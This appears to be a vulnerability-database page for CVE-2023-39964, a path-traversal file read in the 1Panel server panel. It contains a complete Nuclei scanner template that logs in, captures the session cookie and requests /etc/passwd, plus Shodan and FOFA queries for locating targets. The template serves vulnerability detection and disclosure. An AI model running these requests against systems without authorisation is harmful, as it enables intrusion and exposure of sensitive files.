CVE-2023-39964: 1Panel <= 1.4.3 - Authenticated Arbitrary File Read

2026-11-16 PoC Public

Description

1Panel contains an arbitrary file read caused by unfiltered file path parameter in LoadFromFile function in api/v1/file.go, letting attackers read arbitrary important configuration files, exploit requires no special privileges.

Details

CVE
CVE-2023-39964 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2023-39964

info:
  name: 1Panel <= 1.4.3 - Authenticated Arbitrary File Read
  author: 0x_Akoko
  severity: medium
  description: |
    1Panel contains an arbitrary file read caused by unfiltered file path parameter in LoadFromFile function in api/v1/file.go, letting attackers read arbitrary important configuration files, exploit requires no special privileges.
  impact: |
    Attackers can read sensitive configuration files, potentially leading to information disclosure and further system compromise.
  remediation: |
    Update to version 1.5.0 or later.
  reference:
    - https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-pv7q-v9mv-9mh5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39964
    - https://github.com/1Panel-dev/1Panel/releases/tag/v1.5.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-39964
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: fit2cloud
    product: 1panel
    shodan-query: http.title:"1Panel"
    fofa-query: title="1Panel"
  tags: cve,cve2023,1panel,fit2cloud,lfi,file-read,authenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{username}}","password":"{{password}}","ignoreCaptcha":true,"captcha":"","captchaID":"","authMethod":"session"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"code\":200", "\"name\":\"")'
          - 'contains(header, "psession=")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: sess
        part: header
        group: 1
        internal: true
        regex:
          - 'psession=([a-zA-Z0-9-]+)'

  - raw:
      - |
        POST /api/v1/files/loadfile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: psession={{sess}}

        {"path":"/etc/passwd"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("root:[^:]*:0:0:", body)'
        condition: and
# digest: 490a004630440220212c3eaf2c6f2b1bc7c4a8e87b14acb3349f3b1464f6036e21ab6d668b58a2f80220791c6962bbb80cd3feeaf4c4b606027565d3a52c4ed997af78e25d1e04e481e5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life